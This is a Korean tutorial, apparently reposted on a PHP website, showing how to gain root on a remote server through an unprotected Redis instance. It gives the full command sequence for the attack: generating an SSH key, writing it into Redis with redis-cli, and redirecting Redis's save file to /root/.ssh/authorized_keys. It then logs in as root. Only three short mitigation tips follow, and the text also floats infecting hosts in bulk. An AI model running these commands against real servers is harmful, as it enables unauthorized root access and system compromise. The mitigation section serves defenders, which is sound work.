>데이터 베이스 >Redis >Redis 마이닝의 원리에 대해 이야기해보겠습니다(자세한 예시)

Redis 마이닝의 원리에 대해 이야기해보겠습니다(자세한 예시)

WBOY
WBOY앞으로
2022-02-23 17:57:383259검색

이 글은 Redis의 채굴 원리에 대한 관련 지식을 제공합니다. 여기서는 Redis를 사용하여 원격 서버의 루트 사용자를 확보하기 위해 권한을 승격하는 방법과 이를 보호하는 방법을 설명하겠습니다. 모든 사람.

Redis 마이닝의 원리에 대해 이야기해보겠습니다(자세한 예시)

추천 학습: Redis 비디오 튜토리얼

오늘은 Redis를 통한 권한 상승을 통해 원격 서버의 루트 사용자를 얻는 방법을 보여 드리겠습니다.

1. 먼저 몇 가지 전제 조건이 필요합니다.

  • 조건 1: 먼저 Redis가 있어야 하며 해당 포트[기본값 6379]를 알아야 합니다. 조건 2: Redis 비밀번호는 너무 복잡하면 안 됩니다. , 또는 비밀번호 없음,

  • 조건 3: Redis를 시작하는 사용자는 더 파괴적인 루트 사용자인 것이 좋습니다.

  • 2.1 비밀 쌍을 만듭니다.

키는 ssh-keygen을 통해 생성됩니다. 물론 기존 키를 사용해도 문제 없습니다.
    root@kali:/usr/local/src# ssh-keygen
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
  • 다음으로 공개키를 통해 공격키 값이 생성됩니다

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
    내용은 다음과 같습니다
    root@kali:/tmp/rediskey# cat foo.txt
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
    여기 앞뒤에 줄바꿈 두 개를 추가하는 목적은 데이터가 서로 연결되어 장애 문제가 발생하는 것을 방지하기 위함입니다.
  • 2.2 Redis에 대한 키 구성

    작업은 다음과 같습니다.
      root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
      OK
    • Redis에 로그인하여 Redis에 기록되었는지 확인합니다.

      root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
      192.168.243.129:6379> get bar
      "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
    • 2.3 Redis 저장 메커니즘을 통해 시스템 파일 교체

      다음 작업을 살펴보겠습니다.
        192.168.243.129:6379> config set dir /root/.ssh
        OK
        192.168.243.129:6379> config get dir
        1) "dir"
        2) "/root/.ssh"
        192.168.243.129:6379> config set dbfilename "authorized_keys"
        OK
        192.168.243.129:6379> save
        OK
        192.168.243.129:6379> exit
      • 이번에는 원격 호스트에 로그인하여 효과를 확인합니다.

        root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
        The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
        ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
        Are you sure you want to continue connecting (yes/no)? yes
        Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
        Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64
        
        Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
        root@kali:~#
        자, 이제 권리 에스컬레이션에 성공했으니 내보낸 파일이 무엇인지 살펴볼까요? 사실 Redis의 저장된 파일 형식일 뿐입니다. 관심이 있으신 분은 직접 열어서 보실 수 있습니다. 여기에는 표시되지 않습니다.
      • 3. 예방 방법

        이 취약점은 매우 강력합니다. 이제 호스트 권한이 하나만 있으므로 일부 스크립트를 실행한 다음 일괄적으로 감염시키는 것은 어떻습니까?

        예방 팁은 다음과 같습니다.

        Redis는 위험한 IP에서 모니터링하면 안 됩니다. 그렇다면 방화벽 제어를 추가하세요.

        Redis는 비밀번호 제한을 강화해야 하며, 취약한 비밀번호가 되어서는 안 됩니다.

        Redis는 최대한 피해야 합니다. 루트 사용자로 시작하세요.
        • Redis 채굴을 방지하려면 위의 세 가지 사항을 따르세요. 문제 없습니다.
        • 권장 학습:

          Redis 비디오 튜토리얼

        위 내용은 Redis 마이닝의 원리에 대해 이야기해보겠습니다(자세한 예시)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

        성명:
        이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제